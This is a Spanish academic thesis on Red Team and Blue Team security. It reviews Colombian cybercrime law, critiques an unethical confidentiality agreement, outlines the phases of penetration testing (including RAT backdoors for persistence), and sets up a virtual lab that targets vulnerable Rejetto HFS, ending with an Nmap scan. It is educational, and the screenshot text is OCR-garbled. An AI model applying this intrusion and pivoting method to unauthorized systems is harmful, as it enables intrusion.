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Resumen
El presente trabajo de grado aborda la importancia de las estrategias Red Team y Blue Team en
el ambito de la seguridad informatica. Su papel en la identificacion, prevencion y mitigacion de
amenazas cibernéticas dentro de las organizaciones permite evaluar el nivel de seguridad de los
sistemas de informacion mediante técnicas ofensivas y defensivas. Estas técnicas estan
orientadas a fortalecer la proteccion de los activos digitales y la continuidad operativa. Se realiza
un analisis del marco legal colombiano relacionado con la seguridad informadtica y la proteccion
de la informacion, tomando como referencia la Ley 1273 de 2009 y la Ley 1581 de 2012. En el
desarrollo del trabajo se estudian herramientas, metodologias y casos practicos utilizados por los
equipos Red Team y Blue Team. Se incluyen procedimientos de pruebas de penetracion, andlisis
de vulnerabilidades, monitoreo de eventos y gestion de incidentes. Se resaltan las implicaciones
¢ticas y legales que se deben tener en cuenta durante la ejecucion de actividades de seguridad
ofensiva y defensiva. Finalmente, se concluye que la implementacion conjunta de estrategias Red
Team y Blue Team, alineadas con las normas legales vigentes en Colombia, contribuyen
significativamente al fortalecimiento de la seguridad informatica, la reduccion de riesgos
cibernéticos y la proteccion de la informacion en organizaciones publicas y privadas.
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Abstract
This thesis addresses the importance of Red Team and Blue Team strategies in the field of
cybersecurity. Their role in identifying, preventing, and mitigating cyber threats within
organizations allows for the evaluation of information systems security levels through offensive
and defensive techniques. These techniques are geared towards strengthening the protection of
digital assets and ensuring business continuity. An analysis of the Colombian legal framework
related to cybersecurity and information protection is conducted, referencing Law 1273 of 2009
and Law 1581 of 2012. The thesis examines tools, methodologies, and practical cases used by
Red Team and Blue Team teams. Penetration testing procedures, vulnerability analysis, event
monitoring, and incident management are included. The ethical and legal implications that must
be considered during the execution of offensive and defensive security activities are highlighted.
Finally, it is concluded that the joint implementation of Red Team and Blue Team strategies,
aligned with current legal regulations in Colombia, significantly contributes to strengthening
information security, reducing cyber risks, and protecting information in public and private
organizations.

Keywords: Blue team, cybersecurity, pentesting, red team, vulnerability.
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Glosario
Blue Team:
Equipo que se encarga del proceso defensivo digital, realizando monitoreo, deteccion de
amenazas, analisis de incidentes y respuesta ante ataques cibernéticos.
Ciberseguridad:
Conjunto de practicas, tecnologias y procesos que se definen para proteger sistemas, redes y
datos informaticos frente a accesos no autorizados, ataques y dafios.
CVE (Common Vulnerabilities and Exposures):
Sistema internacional de identificacion de vulnerabilidades de seguridad informatica conocidas
publicamente.
Explotacion:
Proceso mediante el cual un atacante aprovecha una vulnerabilidad en un sistema o aplicacion
con el fin de obtener acceso no autorizado y/o ejecutar acciones maliciosas.
Ethical Hacking:
Procedimiento autorizado para evaluar la seguridad de sistemas informaticos utilizando técnicas
similares a las que usan los atacantes reales para de identificar vulnerabilidades.
Firewall:
Sistema de seguridad perimetral que inspecciona y filtra el trafico entrante y saliente de una red
LAN, acorde a unas reglas previamente definidas.
Hash:
Resultado de aplicar un algoritmo criptografico a un conjunto de datos que se usa para verificar

la integridad y la autenticidad de la informacion.
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IDS (Intrusion Detection System):

Sistema encargado de detectar actividades sospechosas y/o ataques en una red o sistema
informatico.

IPS (Intrusion Prevention System):

Herramienta de software de seguridad encargada de detectar y bloquear amenazas en tiempo real.
Kali Linux:

Distribucion basada en Linux especializada en pruebas de penetracion y auditorias de seguridad
informadtica, ampliamente utilizada por profesionales de ciberseguridad.

Malware:

Software malicioso disefiado para dafar, alterar o comprometer sistemas informaticos, de red y
datos digitales.

Metasploit:

Framework de pruebas de penetracion utilizado para desarrollar y ejecutar exploits contra
sistemas vulnerables.

Nessus:

Software de uso privativo o de pago, que se utiliza para el escaneo y descubrimiento de
vulnerabilidades en sistemas informaticos.

Nmap:

Software de codigo abierto utilizado para el descubrimiento de hosts, analisis de puertos y
auditoria de redes.

OpenVas:

Software de cddigo abierto especializado en el escaneo de sistemas informaticos para descubrir

vulnerabilidades.
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Pentesting:

También conocido como prueba de penetracion, consiste en realizar ataques controlados y
autorizados con el fin de identificar vulnerabilidades y evaluar el nivel de seguridad de un
sistema informatico.

Pivoting:

Técnica utilizada durante una prueba de penetracion para desplazarse desde un sistema
comprometido hacia otros dispositivos dentro de la misma red.

Payload:

Codigo malicioso o instruccion ejecutada después de explotar una vulnerabilidad para obtener
control sobre un sistema.

Red Team:

Equipo especializado en simular ataques reales desde el punto de vista del atacante, para evaluar
la capacidad defensiva y las vulnerabilidades de una organizacion.

SMB: (Server Message Block) es un protocolo nativo de Windows que permite compartir
archivos, carpetas, impresoras, y otros dispositivos en una red LAN.

Vulnerabilidad:

Debilidad o falla en un sistema, aplicacion o configuracion que puede ser explotada por un

atacante.
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Introduccion

En el contexto actual de la ciberseguridad, el crecimiento exponencial de amenazas y
vulnerabilidades ha evidenciado la necesidad de adoptar enfoques tanto ofensivos como
defensivos para la proteccion de la informacion en las organizaciones. En este sentido, un Red
Team realiza las pruebas de penetracion (Pentesting). Este tipo de practicas se han consolidado
como una metodologia esencial para evaluar los sistemas mediante la simulacion controlada de
ataques. Lo que permite identificar vulnerabilidades antes de que sean explotadas por actores
maliciosos. Desde la perspectiva del Blue Team, resulta especialmente relevante la capacidad de
detectar, contener y mitigar incidentes en tiempo real, fortaleciendo la resiliencia organizacional
a través del monitoreo continuo y la implementacion de medidas de hardening.

El presente trabajo se desarrolla en un entorno de laboratorio controlado, disenado para
emular escenarios reales mediante el uso de maquinas virtuales. Este enfoque permite reproducir
ataques ejecutados por el Red Team y analizar la respuesta defensiva sin comprometer activos en
produccion. La virtualizacion no solo garantiza un entorno seguro, sino también la
reproducibilidad de las pruebas, facilitando el analisis técnico de vulnerabilidades, su
explotacion y las estrategias de contencion.

En este documento se describe un proceso sistematico que integra la auditoria ofensiva y
la defensa técnica, aplicado al caso de SecureNova Labs. Se analizan los vectores de ataque que
permitieron la intrusion, asi como las acciones de mitigacion y endurecimiento necesarias para
prevenir incidentes futuros. Este enfoque integral busca comprender como ocurri6 el ataque y
fortalecer las capacidades de respuesta y mejora continua, para garantizar la seguridad

operacional frente a las ciber amenazas actuales.
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Justificacion

La realizacion del presente trabajo se justifica en la creciente necesidad de fortalecer las
capacidades de seguridad informatica frente a un entorno mundial que se caracteriza por el
incremento de amenazas cada vez mas sofisticadas y persistentes. En este contexto, es
fundamental identificar vulnerabilidades mediante técnicas de Pentesting ejecutadas por un Red
Team y aplicar estrategias defensivas efectivas desde la perspectiva de un Blue Team. El uso de
laboratorios controlados en entornos virtualizados permite recrear escenarios reales de ataque sin
comprometer las infraestructuras productivas. Esto facilita un aprendizaje practico, seguro y
reproducible proporcionando el espacio idoneo para analizar el comportamiento de los sistemas
ante diferentes vectores de ataque. La finalidad es la deteccion, contencidon y mitigacion de
incidentes evaluando la efectividad de las medidas de proteccion y fortaleciendo las
competencias técnicas en ciberseguridad. Durante el analisis del caso de SecureNova Labs, se
integran los enfoques ofensivo y defensivo en un ejercicio aplicado, evidenciando la importancia
de una vision integral de la seguridad. La identificacion de las causas que permitieron la
intrusion, junto con la implementacion de acciones de contencion y endurecimiento, contribuyen
al desarrollo de estrategias orientadas a la mejora continua de la proteccion digital. En
consecuencia, este trabajo no solo tiene un valor académico sino también practico, al permitir la
adquisicion de conocimientos y habilidades esenciales para enfrentar incidentes reales, optimizar

la postura de seguridad y reducir la probabilidad de futuros ataques en entornos empresariales.
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Objetivos

Objetivo General

Analizar y evaluar un incidente de ciberseguridad en un entorno controlado, mediante la
aplicacion de técnicas de Pentesting de un Red Team y estrategias defensivas de un Blue Team,
con el fin de identificar los vectores de ataque utilizados, contener la intrusion y proponer
medidas de mitigacion que fortalezcan la seguridad digital.
Objetivos Especificos

Detectar y documentar las vulnerabilidades criticas y medias presentes en el entorno
simulado de SecureNova Labs, estableciendo su relacion directa con la intrusion ocurrida.

Ejecutar y registrar pruebas de penetracion controladas que permitan identificar al menos
los principales vectores y técnicas de ataque explotables en el escenario.

Recopilar y evaluar los registros y eventos de seguridad generados durante las pruebas,
para reconstruir la secuencia de acciones desde la perspectiva del equipo de defensa Blue Team.

Implementar y verificar medidas de endurecimiento y buenas practicas de seguridad, que

permitan reducir la superficie de ataque.
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Aspecto Legal de Proteccion de Datos y Delitos Informaticos
Actualmente el crecimiento acelerado de los entornos digitales ha transformado la forma
en que los individuos gestionan sus datos personales. No obstante, este avance ha generado
algunos riesgos relacionados con el uso indebido de la informacidn, desarrollandose nuevas
formas de delinquir en los medios digitales. En Colombia se han creado normas que buscan
responder a estos retos, principalmente la Ley 1273 de 2009, la Ley 1581 de 2012, la Ley 1266

de 2008 y el Decreto 1377 de 2013.

Ley 1273 de 2009

Esta norma introduce de manera formal los delitos informaticos en el Cédigo Penal,
reconociendo la informacién como un bien juridico que debe ser protegido. Establece sanciones
para conductas como el acceso no autorizado a sistemas informaticos, la intercepcion de datos
sin la debida autorizacion, el dafio informatico a sistemas o redes, la suplantacion de sitios web o
de la identidad digital y el uso de software malicioso. Busca garantizar la confidencialidad,
integridad y disponibilidad de los datos y de los sistemas informaticos. (Departamento

Administrativo de la Funcion Publica, 2009).

Ley 1581 de 2012

Esta ley establece el régimen general de proteccion de datos personales en Colombia,
desarrollando el derecho constitucional al habeas data. Se centra en la proteccion de la
privacidad de los ciudadanos al otorgarles derechos sobre su informacion personal tales como
conocer, actualizar, rectificar y suprimir sus datos recolectados y almacenados en bases de datos
o archivos de cualquier entidad publica o privada. La norma ademas atribuye obligaciones a las
organizaciones que recolectan y procesan informacion, exigiendo la autorizacion previa del

titular y el cumplimiento de principios de legalidad, finalidad, seguridad y confidencialidad. Esta
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ley busca equilibrar el uso de la informacion con la proteccion de los derechos fundamentales de
las personas que refiere el articulo 15 de la Constitucion Politica de Colombia. (Departamento

Administrativo de la Funcion Publica, 2012).

Decreto 1377 de 2013

El decreto reglamenta aspectos clave de la Ley 1581, proporcionando lineamientos claros
sobre como deben las empresas y entidades manejar los datos personales. Este decreto introduce
herramientas como el aviso de privacidad, regula los procedimientos para la obtencion del
consentimiento del titular y define las responsabilidades de quienes administran bases de datos.
La norma establece también el principio de responsabilidad demostrada, segin el cual las
organizaciones deben ser capaces de evidenciar que cumplen con las normas de proteccion de
datos. Esto permite fortalecer el control y la transparencia en el tratamiento de la informacion.

(Departamento Administrativo de la Funcion Publica, 2013).

Ley 1266 de 2008

Esta ley regula la informacion financiera, crediticia, comercial y de servicios, que son los
datos que se manejan comunmente en las centrales de riesgo. Esta informacion hace parte del
historial crediticio, deudas y comportamiento financiero de las personas. Las entidades
financieras deben de informar al usuario antes de realizar un reporte negativo a una central de
riesgos, dando la oportunidad que la persona pague o reclame antes del reporte. (Departamento

Administrativo de la Funcion Publica, 2008).
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Aspecto Legal del Anexo-Acuerdo
El presente analisis aborda el contenido del “Anexo 3 — Acuerdo”, en el cual se plantea
un acuerdo de confidencialidad entre el estudiante y la empresa SecureNova Labs. En dicho
acuerdo, se identifican multiples irregularidades que vulneran principios éticos fundamentales y
estan en contra del marco juridico en Colombia, especificamente en materia de delitos

informaticos.

Al analizar el contenido del documento, se evidencia claramente la existencia de
clausulas que promueven conductas ilegales y éticamente reprochables. Inicialmente el acuerdo
establece que la informacion relacionada con “procesos ilegales dentro de SecureNova Labs no
podra ser divulgada”. Esta disposicion resulta abiertamente contraria al ordenamiento juridico,
ya que ningun contrato puede obligar a una persona a guardar silencio frente a la comision de
delitos. Este tipo de clausula constituye una forma de encubrimiento y vulnera el deber

ciudadano de colaborar con la justicia.

El documento incluye en la definicion de informacion confidencial elementos como
“datos de chuzadas, interceptacion de informacion y accesos abusivos a sistemas informaticos”.
La inclusion de estas practicas reconocidas como delitos no solo evidencia el conocimiento
previo de actividades ilicitas, sino que también busca darles una apariencia de legitimidad bajo el

amparo de la confidencialidad de un acuerdo.

Otro aspecto que se menciona es la imposicion explicita de no denunciar las actividades
sospechosas de espionaje o de apropiacion indebida de informacién. Esto no solo es ilegal, sino
que atenta contra los aspectos basicos de la ética profesional en ciberseguridad, donde la
proteccion de la informacion y la denuncia de incidentes son principios fundamentales.

Adicionalmente, el acuerdo pretende eximir a la empresa SecureNova Labs de cualquier
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responsabilidad legal o penal en caso de que se descubran irregularidades, lo cual carece de
validez juridica. En Colombia la responsabilidad penal es personal e intransferible, por lo que
ninguna clausula contractual puede anularla, por lo tanto, estas disposiciones evidencian que el
acuerdo no busca unicamente proteger informacion sensible, sino que pretende encubrir
actividades ilicitas. Esto lo convierte en un documento invalido desde el punto de vista legal y

ético.

Vulneracion de la Ley 1273 de 2009

La Ley 1273 de 2009 se ve vulnerada por el contenido del acuerdo analizado. El articulo
269, que regula el acceso abusivo a un sistema informatico, se ve claramente comprometido
debido a la mencidn explicita de este tipo de practicas dentro del acuerdo. El hecho de
reconocerlas como parte de la informacidon manejada implica una posible participacion o
tolerancia frente a este delito. El articulo 269C, relacionado con la interceptacion de datos
informaticos, también resulta vulnerado, ya que el acuerdo menciona practicas como la
interceptacion de comunicaciones (“chuzadas”), las cuales estan expresamente prohibidas por
este articulo. Adicionalmente el articulo 269F, referente a la violacién de datos personales,
también puede verse afectado, ya que el manejo de informacion sensible sin las debidas garantias
y sin el adecuado consentimiento constituye una infraccion grave. El acuerdo puede implicar
conductas asociadas al encubrimiento de delitos estipulados en el Codigo Penal, debido a la
prohibicion expresa de denunciar actividades ilegales. Por esto el documento vulnera normas
especificas sobre delitos informaticos y afecta principios generales del derecho penal.

(Departamento Administrativo de la Funcion Publica, 2009).

El acuerdo incluye cldusulas que obligan a mantener en reserva informacion relacionada

con posibles actividades ilegales, asi como la prohibicion expresa de denunciar conductas
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sospechosas ante las autoridades competentes, lo cual implica una vulneracion directa de los

principios de responsabilidad, legalidad y transparencia que rigen el ejercicio profesional.

De acuerdo con lo establecido por el Consejo Profesional Nacional de Ingenieria
COPNIA, en su Codigo de Etica, el ingeniero debe actuar con integridad, honestidad y respeto
por la ley y priorizar el interés general sobre cualquier beneficio particular. Aceptar un acuerdo
que promueve el encubrimiento de conductas ilicitas que limita el deber de denuncia, constituye
una falta grave a la ética profesional. Adicional a esto, el codigo de ética del COPNIA establece
que el profesional de ingenieria no debe participar en actividades que comprometan la dignidad
de la profesion o causen dafio a la sociedad, a las personas o a las organizaciones. Las practicas
mencionadas en el acuerdo, tales como interceptacion de informacion, accesos indebidos a
sistemas informaticos y posibles actos de espionaje, representan riesgos significativos para la
seguridad de la informacion y los derechos fundamentales. Estas actividades resultan
incompatibles con el ejercicio responsable de la profesion, donde se tiene el deber de velar por el
uso adecuado del conocimiento técnico, evitando que sea utilizado con fines ilegales o contrarios
a la ética. E1 COPNIA también sefiala la importancia de la independencia profesional, lo cual
implica que el ingeniero no debe aceptar presiones o condiciones contractuales que limiten su
criterio técnico o su deber de actuar conforme a la ley. Las cldusulas del acuerdo que intentan
eximir de responsabilidad a la empresa y trasladar cargas legales al receptor constituyen una
clara vulneracion de este principio. (Consejo Profesional Nacional de Ingenieria [COPNIA],

2015).

Alcance de Auditorias en Ciberseguridad
En el contexto de una auditoria de seguridad, las empresas de ciberseguridad requieren

acceso a cierta informacion sensible para cumplir con sus funciones, pero dicho acceso debe
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estar estrictamente limitado por los principios de necesidad, proporcionalidad y legalidad. El
principio de minimo privilegio establece que los profesionales deben acceder unicamente a la
informacion indispensable para realizar su labor, lo cual implica evitar accesos innecesarios a
datos personales, financieros o estratégicos que no estén directamente relacionados con el
objetivo de la auditoria. Todo acceso debe estar previamente autorizado mediante contratos
claros y transparentes, en los que se definan los alcances, responsabilidades y limites del
tratamiento de la informacion. Se debe respetar la normativa vigente y no pueden incluir
clausulas que contravengan la ley. Para garantizar que este acceso no sea explotado
indebidamente, es fundamental implementar mecanismos de seguridad. Algunos de estos
mecanismos son: el registro de actividades (logs), la supervision en tiempo real, la segmentacion
de la informacion y el uso de técnicas de anonimizacidon o enmascaramiento de datos.

Adicionalmente se debe brindar acceso temporal y revocarlo una vez finalizada la auditoria.

Supervision y Control en Empresas de Ciberseguridad

Las empresas de ciberseguridad deben implementar soluciones de control para prevenir el
uso indebido de herramientas avanzadas, especialmente aquellas relacionadas con analisis
forense o pruebas de penetracion. Desde el aspecto técnico, es fundamental contar con sistemas
de monitoreo continuo que permitan registrar todas las acciones realizadas por los analistas.
Herramientas como los sistemas de gestion de eventos e informacion de seguridad (SIEM),
facilitan la deteccion de comportamientos anémalos y posibles abusos. Desde el punto de vista
organizacional, se debe aplicar el principio de segregacion de funciones, de tal forma que
ninguna persona tenga control absoluto sobre todos los procesos. También se deben realizar
evaluaciones periddicas del personal, incluyendo verificaciones de antecedentes y capacitaciones

en ética profesional.
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En el ambito legal, los contratos laborales y acuerdos de confidencialidad deben incluir
clausulas claras sobre el uso permitido de las herramientas, asi como sanciones en caso de
incumplimiento. Las auditorias internas y externas deberian ser una practica constante para

garantizar el cumplimiento de las politicas de seguridad.

Respuesta de Gobiernos y Organizaciones Ante Actos de Ciber Espionaje

Cuando se descubre que una empresa de ciberseguridad ha incurrido en actividades de
ciber espionaje, la respuesta debe ser inmediata y contundente. Inicialmente se deben suspender
todas las relaciones contractuales con la organizacion involucrada y asegurar la preservacion de
la evidencia digital para su analisis. Se hace necesario notificar a las autoridades competentes
para que inicien una investigacion formal que permita determinar las responsabilidades y aplicar
las sanciones correspondientes. En muchos casos, este tipo de incidentes requiere cooperacion
internacional, especialmente si la empresa opera en multiples jurisdicciones. Las organizaciones
afectadas también deben evaluar el impacto del incidente, identificar posibles filtraciones de
informacion y tomar medidas correctivas para mitigar los dafios. Esto puede incluir el
fortalecimiento de sus sistemas de seguridad y la revision de las politicas de contratacion de

proveedores.

Medidas Para Restaurar la Confianza y Prevenir Recurrencias

Restaurar la confianza tras un incidente de ciber espionaje es un proceso complejo que
requiere acciones tanto técnicas como organizacionales. Desde el punto de vista técnico, se
deben realizar auditorias exhaustivas de los sistemas involucrados, cambiar credenciales
comprometidas y reforzar los controles de acceso. Desde el aspecto organizacional, es
fundamental revisar los procesos de seleccion y contratacion de proveedores de ciberseguridad.

Certificar que cumplan con estdndares internacionales e implementar programas de
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cumplimiento normativo para garantizar el respeto de las leyes y los principios éticos. La
transparencia es clave, por lo tanto, se debe informar a las partes afectadas lo ocurrido y las
medidas adoptadas, contribuyendo a recuperar la confianza y demostrando un compromiso real

con la seguridad de la informacion.
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Fases del Pentesting

Fase de Recopilacion y Planificacion

Esta fase define los objetivos de la prueba, determinando qué sistemas se van a abordar y
qué métodos se emplearan para hacerlo. Implica la recoleccion de los datos necesarios para la
prueba de penetracion. Hay dos formas, una pasiva que se centra en recolectar informacion en la
red sin interactuar con los sistemas donde se realiza la prueba, utilizando SHODAN u OSINT.
Otra activa, donde se realizan escaneos de direcciones IP, puertos abiertos de servicios en la red,
se obtienen metadatos, y se utilizan herramientas de obtencion de informaciéon como Nmap o

SubFinder.

Analisis de Vulnerabilidades

Durante esta fase, se intenta descubrir todo acerca de los activos de la infraestructura y se
analiza como responde el sistema a una intrusion buscando los puntos mas débiles. Con estas
actividades se pretende conocer la configuracion de los sistemas, aplicaciones, versiones de los
sistemas operativos y servicios se prestan en la red. Para ello, se utiliza software y herramientas
avanzadas de identificacioén de vulnerabilidades, como Nmap, Nessus, OpenVas, Acunetix,
WPScan y SQLMap. Estas y otra gran cantidad de herramientas enfocadas en ciberseguridad

vienen integradas en la distribucion Kali Linux.

Explotacion del Sistema

En este paso se ponen a prueba las vulnerabilidades encontradas con el fin de determinar
si suponen una amenaza real y pueden llegar a ser explotables. En el caso de que sean
explotables, se debe determinar el impacto que tiene la vulnerabilidad dependiendo de la
complejidad del ataque, el acceso requerido, la cantidad y sensibilidad de los datos expuestos y

codmo afecta a la disponibilidad, integridad y confidencialidad. En este punto de las pruebas, se
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pueden llevar a cabo accesos no autorizados a los sistemas, conseguir informacion sensible de
trabajadores y clientes, colapsar los servidores o tomar el control total de los sistemas de la
organizacion. Para esta etapa se puede utilizar el software de Metasploit Framework Console

(msfconsole).

Post Explotacion.

En esta etapa se suele aprovechar el sistema comprometido para explorar completamente
el entorno, descubrir nuevos servicios e intentar establecer la persistencia en el sistema y asi
ganar acceso posteriormente al mismo. Si se tiene éxito en el ataque, es posible encontrar
servicios que estaban ocultos, lo que se traduce en nuevas oportunidades para lanzar mas
ataques. Por eso, es importante continuar con la recopilacion de informacion acerca del sistema
una vez dentro, para conocerlo mas en profundidad y obtener acceso a todos los activos posibles,
como servidores internos, recursos compartidos, dispositivos de red o dispositivos IoT.
Realizando reconocimiento interno, se puede lograr extraer nueva informacion de la
infraestructura y obtener el control total de los sistemas de una organizacion. En este punto se
puede utilizar software de tipo RAT (Remote Access Troyan) instalando puertas traseras para

mantener la persistencia.

Elaboracion de los Informes.

Esta fase cumple con el objetivo final de la prueba de penetracion, es decir, informar a la
empresa los resultados del ataque simulado con la finalidad de implementar mejoras en sus
sistemas de seguridad digital. Por lo general se escriben dos informes, uno que detalla los
aspectos técnicos enfocado a los administradores de sistemas y otro ejecutivo dirigido a los

directivos de la empresa.
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Definicion de Herramientas de Seguridad Informatica
Metasploit
Metasploit Framework es una plataforma de codigo abierto utilizada por los profesionales
de seguridad informatica para simular ataques reales, con el fin de evaluar el nivel de proteccion
de un sistema. Entre sus principales caracteristicas esta la capacidad de detectar vulnerabilidades
en sistemas y aplicaciones, explotar fallas de seguridad de forma controlada, realizar pruebas de
penetracion (Pentesting), validar configuraciones de seguridad y evaluar el impacto de posibles

ataques. (Campus Internacional Ciberseguridad, 2025).

Nmap

Es el software de escaneo de redes mas utilizado por los profesionales de la seguridad y
los delincuentes informaticos. Su nombre es la abreviatura de Network Mapper. Es una
herramienta de codigo abierto que puede ser utilizada en sistemas Linux, Windows y Mac. Su
principal funcion es la de escanear y descubrir dispositivos activos en una red, detectar servicios
y puertos activos, identificar versiones de aplicaciones instaladas e incluso mostrar algunas
vulnerabilidades conocidas. Viene instalada por defecto en distribuciones como Kali Linux y

Parrot. (FreeCodeCamp, 2023).

OpenVas

Es un completo scanner de vulnerabilidades de codigo abierto, con capacidad para
detectar problemas de seguridad en sistemas, redes y aplicaciones mediante escaneos
automatizados. Este conjunto de software cuenta con diversas funcionalidades para realizar
pruebas autenticadas y pruebas no autenticadas. Detecta vulnerabilidades conocidas en sistemas,
analiza configuraciones inseguras, evaltia servicios expuestos en red y genera reportes

detallados. Esta provista con protocolos de internet e industriales de alto y bajo nivel, con ajustes



30

personalizados de rendimiento para exploraciones a gran escala. Ha sido desarrollado en un
potente lenguaje de programacion interno para implementar cualquier tipo de prueba de

vulnerabilidad. (Altube Vera, 2020).

ExploitDB

Es uno de los recursos mas relevantes en el ambito de la ciberseguridad. Es una base de
datos ampliamente utilizada por profesionales de seguridad informatica, investigadores y
pentesters en todo el mundo. ExploitDB es un repositorio publico que recopila exploits, es decir,
fragmentos de c6digo o técnicas que permiten aprovechar vulnerabilidades en sistemas,
aplicaciones o servicios. Este proyecto es mantenido por Offensive Security, una organizacion
reconocida en el ambito de la formacion y certificacion en ciberseguridad. A diferencia de otras
plataformas que se enfocan tinicamente en describir vulnerabilidades, ExploitDB proporciona
ejemplos practicos que muestran coémo pueden ser explotadas, lo que la convierte en una
poderosa herramienta para el aprendizaje y la evaluacion de riesgos. Una de las caracteristicas
mas importantes es su enfoque abierto y accesible, lo que facilita la difusion del conocimiento en

esta rama del saber. (Holm Secutity, 2025).

CVE

Es una base de datos en linea donde se divulgan vulnerabilidades y exposiciones
comunes: CVE (Common Vulnerabilities and Exposures). Consiste en un catdlogo publico que
retne informacion sobre fallas de seguridad conocidas. Su objetivo principal es proporcionar una
estructura comun que permite a las organizaciones, los expertos en seguridad y los
desarrolladores una forma mas facil de identificar y compartir los riesgos descubiertos de forma
mas eficiente. Cada vulnerabilidad registrada recibe un identificador tnico, lo que facilita su

seguimiento y andlisis en diferentes plataformas y herramientas de seguridad. CVE es como un



diccionario universal que estandariza la forma en que se describen las amenazas informaticas.

(Fortinet, 2026).
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Preparacion del Laboratorio
Se configuran tres maquinas virtuales para realizar las pruebas en un ambiente
controlado. En una de ellas se configura el sistema de auditoria de seguridad Kali Linux, en otra
se configura un sistema Windows 7 con dos tarjetas de red, denominado HOST-A, donde se
ejecutara una aplicacion web vulnerable. La tltima se configura con otro sistema Windows 7
vulnerable con una tarjeta de red, llamada HOST-B, el cual tiene comunicacién solo con el
HOST-A, pero no con el sistema Kali Linux. La figura 1 muestra la configuracion de hardware

de las maquinas virtuales en VirtualBox.

Figura 1

Configuracion de maquinas virtuales
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Nota. Se especifican las configuraciones de hardware de las maquinas virtuales, mostrando las

tarjetas de red configuradas en cada una.

La maquina HOST-A cuenta con dos direcciones IP configuradas: 192.168.56.109/24 y
10.10.0.90/16. E1 HOST-B tiene asignada la direccion 10.10.0.100/16. El sistema Kali Linux
registra la direccion IP 192.168.56.115/24. El sistema Kali Linux se puede comunicar con el
HOST-A por medio del segmento de red 192.168.56.0/24 pero que no logra la comunicaciéon con

el HOST-B a través del segmento de red 10.10.0.0/16. E1 HOST-A tiene dos tarjetas de red, una
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configurada como adaptador solo anfitrion y la otra como red interna respectivamente. El

HOST-B tiene configurada la tarjeta de red como red interna.

La configuracion del direccionamiento IP de las dos maquinas virtuales con Windows 7

se ilustra en la figura 2 y la verificacion de la comunicacion con el comando ping desde Kali

Linux hacia el HOST-A y el HOST-B se muestra en la figura 3.

Figura 2
Direccion IP del HOST-A
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Nota. Se muestran las direcciones IP de las dos méaquinas virtuales HOST-A y HOST-B.
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Figura 3

Pruebas de ping desde Kali Linux
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Nota. Se muestra la conexion desde Kali Linux hacia el HOST-A, pero no hacia el HOST-B,

realizando la prueba con el comando ping.

Al realizar las pruebas de ping desde el sistema Kali Linux hacia el HOST-A y hacia el
HOST-B, se verifica que se alcanza la red de la maquina victima HOST-A, pero no responde la
maquina HOST-B, ya que esta en una red fisicamente independiente y en una subred [Pv4
distinta. Esta configuracion permite que, a través de un equipo comprometido, se pueda realizar
un movimiento lateral hacia otros equipos de la red, aunque no estén conectados directamente a
la red del host atacante. También se verifica la conexion entre el HOST-A y el HOST-B, tal
como se muestra en la figura 4, con una prueba de ping entre las dos maquinas virtuales a través

del segmento de red 10.10.0.0/16.
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Prueba de ping entre HOST-A y HOST-B
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Servidor DHCP IPv4 152.168.56.100

Servidor DNS [Pv4

Servidor WINS |Pv4

Habiltado para NetBios Si

Vinculo: direccién IPv6 ... feB0-8869:7519:6313:5% %11

Puerta de enlace predet..

Servidores DNS IPvE fecD:0:0ffF-1%1 -

‘ e e -
Cemar
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¥ Estado de Conexion de 2rea local 2

Detalles de la conexadn de red

Detalles de la conexddn de red

Propiedad Valor

Sufijo DNS especifico p.
Descripcion

Direccién fisica
Habiltado para DHCP

08-00-27-90-9C-E9
No

Direccidn IPv4 10.10.0.90
Mascara de subred IPv4 25525500
Puerta de enlace oredet.

Adaptador de escritorio Intel{R) PRO/100)

EX Administrador: Simbolo del sistema

t Windows [U on 6.1.76811

e - by
(c> 288% Microsoft Corporation. Reservados todos los derecH

16.10.98.188

TTL=128

Z - a
18.18.

a. emnpo
i8.18.

i
tiempo=ims

.16.98.188:
recibidos = 4, perdidos

vuelta en miliseq
s, Media = iIms

TIL=128
TTL=128
TTL=128

a

Nota. Se muestra la comunicacion entre el HOST-A y el HOST-B a través de una prueba de

ping.

Para efectos de este laboratorio, en el HOST-A se ejecuta una aplicacion vulnerable

denominada Rejetto HFS, la cual presenta una vulnerabilidad critica conocida que sera utilizada

como objetivo de explotacion durante el desarrollo de la practica. Para iniciar el servicio, se

ejecuta el archivo hfs.exe, encargado de levantar la aplicacion y habilitar su funcionamiento en el

sistema. Esta herramienta corresponde a un servidor web http ligero, disefiado para compartir y

explorar directorios y archivos a través de un navegador de internet. Gracias a su interfaz grafica

y facilidad de configuracion, permite publicar recursos del sistema de manera rapida,

proporcionando el acceso remoto a los archivos alojados en el equipo. Esta aplicacion se muestra

en la figura 5.



Figura 5

Aplicacion HFS en el HOST-A
&

€] o[ )i v usuaric » Descargas b Rejjeto 123456 »
S

Organizar + (=) Abrir Compartir con * Nueva carpeta
S Nombre Tipo Taman
& Descargas DarkCometRATS31 14 i
Bl Escritorio A2 hfs 16/02, 7
=, Sitios recientes
#8 HFS ~ HTTP File Server 2.3 Build 288
- Bibliotecas &l Menu | } Port:80 | 2 You arein Easy mode
£J Documentos [ Open in browser  http://192.168.56.109/

I
|=. magenes Virtual File System
@' Msica A B

B videos

& Grupo en el hogar

Nota. Se muestra la ejecucion de la aplicacion Rejetto HFS en el HOST-A.

=

Copy to clipboard
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En la siguiente imagen se observa el resultado del comando rnetstat -aon donde se verifica

que este aplicativo esta escuchando en el puerto 80 con el ID de proceso 2832.

Figura 6

Servicios expuestos en el HOST-A

M Administradeor: Simbelo del sistema
right (c) 2889 Microsoft Corporation. Resewrvados todos los

ersswusuariornetstat Aaon

onexion

.

omn remota

-
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TCP
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TCFP

TCP

TCP

TCP

TCP

[l ad -l -l ul ol i

TCP

DREAREREE®E
SREREREEES
SoeEEEEE®

derechos.

TmonDohoOne

Tamaf
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168.56.10

Nota. Se muestra el resultado del comando netstat -aon en el HOST-A, el cual muestra los

puertos y servicios que expone este equipo en la red.
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Escaneo del HOST-A
Escaneo con Nmap
Se realiza un escaneo con el software Nmap desde la maquina virtual con sistema
operativo Kali Linux, donde se observan los puertos 80, 135, 139 y 445 abiertos en el HOST-A,

como se muestra en la figura 7.

Figura 7

Escaneo del HOST-A con Nmap

/home/cess
192.168.56.109

Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-19 20:45 -0400
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --s
Nmap scan report for 192.168.56.109
Host is up (0.00069s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 08:00:27:B5:9A:77 (Oracle VirtualBox virtual NIC)

